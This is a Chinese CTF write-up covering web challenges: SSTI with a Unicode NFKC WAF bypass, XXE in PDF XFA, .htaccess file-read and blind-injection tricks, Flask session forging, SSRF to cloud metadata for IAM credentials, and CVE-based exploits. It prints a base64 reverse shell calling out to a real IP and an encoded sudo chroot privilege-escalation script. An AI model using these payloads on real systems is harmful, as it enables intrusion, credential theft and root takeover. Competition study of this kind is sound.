unionCTF
战绩展示,一队四个人三个web手导致最终做题极度不均,不过学到了很多东西

crypto
Subgroup-Weaver
题目中的 randint(1, 7) % 2 存在统计偏差,生成 1 的概率为 $4/7$(约 57%),生成 0 的概率为 $3/7$。 利用大数定律采集大量样本,若某一位上 1 的数量显著少于一半(说明 Key 将原本偏多的噪声 1 翻转为了 0),则该位 Key 为 1;否则为 0。
payload:
1 | from pwn import * |
web
IntraSight

发现8001端口存在管理后台,并且会派发一次性token,该token每使用一次就会失效

先直接看这个后台给的东西,牵手成功,但是缺少必要请求头
1 | X-Internal-Token: |

补上后牵手成功了,但是没有body,补上就可

发现ssti模板注入

拿到flag
GlyphWeaver
Unicode 标准化 (NFKC) 漏洞
这是最根本的诱因。在 Python 的 Web 环境中,为了处理全球各地的字符输入,后端常使用 unicodedata.normalize('NFKC', input) 来统一字符格式。
原理:许多 Unicode 字符在视觉上或逻辑上等同于标准 ASCII 字符。例如,全角字符
_(U+FF3F) 在经过 NFKC 标准化后,会被转换成标准下划线_(U+005F)。对抗关系:
用户输入:发送带有全角字符的 Payload,如
﹛﹛self﹜﹜。WAF 检查:WAF 只盯着标准字符(如
{{或_)。由于全角字符不在黑名单里,WAF 判定为“安全”并放行。
后端处理:程序调用
normalize函数,将混淆字符一键还原成了标准的 Python/Jinja2 代码。
所有我们可以将字符变成全角的从而绕过waf,因为题目提示说支持多种字体,但是他的校验是在转换成标准格式之前的,利用这一特性来绕过
下面是一个字符转换的脚本
1 | import unicodedata |


win!!!
接下来就是激情ssti了


拿到flag了
SecureDoc
上传普通 PDF 时,后端回显 No XFA content found in PDF
根据回显信息,确定后端会解析 PDF 中的 XFA (XML Forms Architecture) 数据 。由于 XFA 基于 XML 格式,推测后端解析引擎可能未禁用外部实体,存在 XXE (XML External Entity) 漏洞 。
1 | # -*- coding: utf-8 -*- |

然后查看文件就能拿到flag了

ezUpload
题目环境为 Apache 且允许上传文件,考虑通过上传 .htaccess 配置文件来改变目录解析规则 。由于 1k 的限制,无法上传大型 Webshell,需寻找轻量级的读取方案。
利用 Apache 的 mod_headers 模块和 expr 表达式功能 。
开启索引:设置
Options +Indexes以便查看目录 。设置响应头:使用
Header set将/flag的内容读取并赋值给自定义响应头X-Flag。Payload (
.htaccess):1
2
3Options +Indexes
DirectoryIndex /test.txt
Header set X-Flag "expr=%{file:/flag}"
访问 /upload 目录,在 HTTP 响应头中获取 Flag

ezupload revenge!!
过滤了 expr=、env、还有什么我记不得了,挺多的 。 解题思路是盲注,利用 RewriteCond 构造一个判断逻辑,具体如下 :
1 | [cite_start]RewriteEngine On |
如果 /flag 文件内容以 UniCTF{ 开头,就会执行下面的语句,也就是访问 /upload/readflag 会进行一次 301 跳转到 /upload/success 。写一个盲注脚本 :
1 | import requests |
我的脚本到最后一位会陷入循环,需要暂停脚本手动加上花括号 。

CloudDiag

创建账号后给了一个cookie,但是用常规的jwt方法得到的第二部分是乱码,搜了一下是flask session,需要一个专门的解码工具
爆破一下

接着利用key伪造cookie

奇怪登录异常,原来是弱口令
1 | name:root |

登录root权限,可以看到 root 的历史任务Legacy metadata check。进入任务详情页可见曾经访问的 Config URL:
暴露了元数据服务地址 http://metadata:1338/ ,AWS元数据端点 /latest/metadata/iam/security-credentials/ ,IAM角色名 clouddiag-instance-role
访问 http://metadata:1338/latest/meta-data/iam/security-credentials/clouddiaginstance-role 获取临时凭证


将获取的数据填入,查看clouddiag-secrets,发现flag

进一步填写Rrefix和Object Key

拿到flag
Joomla Revenge!*
自己挖链子,还不会,先贴一个官方poc
1 |
|
gogogos*
打 cve-2025-8110
贴出官方exp
1 | import requests |
mio’s waf!!*
这道题用了两个洞,一个是前段时间爆出来的nextjs的大洞CVE-2025-66478 ,还有一个提权的洞CVE-2025-32463_chwoot
而且这道题的waf相当强大,把我能想到的方式都waf了
官方的做法是通过两次unicode绕过
waf他会对我发的东西先进行一次unicode解码,没有触发黑名单就会发送给next.js的服务端。
所以我们这里使用二次unicode编码绕过就会被react服务器解析。
下面是一个内存马的payload:
1 | POST / HTTP/1.1 |
使用了yakit的Fuzztag {{hexd()}},因为这个是十六进制的文本,如果直接复制,在burpsuite中会当作普通文本而导致无法执行

这样就代表内存马打上了
但是权限不够,需要利用另外一个漏洞进行提权
接着就可以弹shell了
1 | bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC84MS43MS4xOC45NS8yMzMzIDA+JjEK | base64 -d | bash" |

接下来需要执行的代码(摘自官方wp)
1 | STAGE=$(mktemp -d /tmp/mio_exploit.XXXXXX) |
base64处理后的指令
1 | echo U1RBR0U9JChta3RlbXAgLWQgL3RtcC9taW9fZXhwbG9pdC5YWFhYWFgpCmNkICIke1NUQUdFP30iIHx8IGV4aXQgMQpjYXQgPiBtaW8uYzw8RU9GCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpfX2F0dHJpYnV0ZV9fKChjb25zdHJ1Y3RvcikpIHZvaWQgbWlvX2luaXQodm9pZCkgewogICAgc2V0cmV1aWQoMCwwKTsKICAgIHNldHJlZ2lkKDAsMCk7CiAgICBjaGRpcigiLyIpOwogICAgZXhlY2woIi9iaW4vc2giLCAic2giLCAiLWMiLCAiY2F0IC9mbGFnID4gL3RtcC9mbGFnICIsIE5VTEwpOwp9CkVPRgpta2RpciAtcCBtaW9fcm9vdC9ldGMgbGlibnNzXwplY2hvICJwYXNzd2Q6IC9taW8iID4gbWlvX3Jvb3QvZXRjL25zc3dpdGNoLmNvbmYKZ2NjIC1zaGFyZWQgLWZQSUMgLVdsLC1pbml0LG1pb19pbml0IC1vIGxpYm5zc18vbWlvLnNvLjIgbWlvLmMgPi9kZXYvbnVsbCAyPiYxCnN1ZG8gLVIgbWlvX3Jvb3QgbHMg | base64 -d | sh |
这样就获得了一个提权后的账户
我这里是通过将flag的内容复制到tmp/flag中,再cat /tmp/flag来完成的
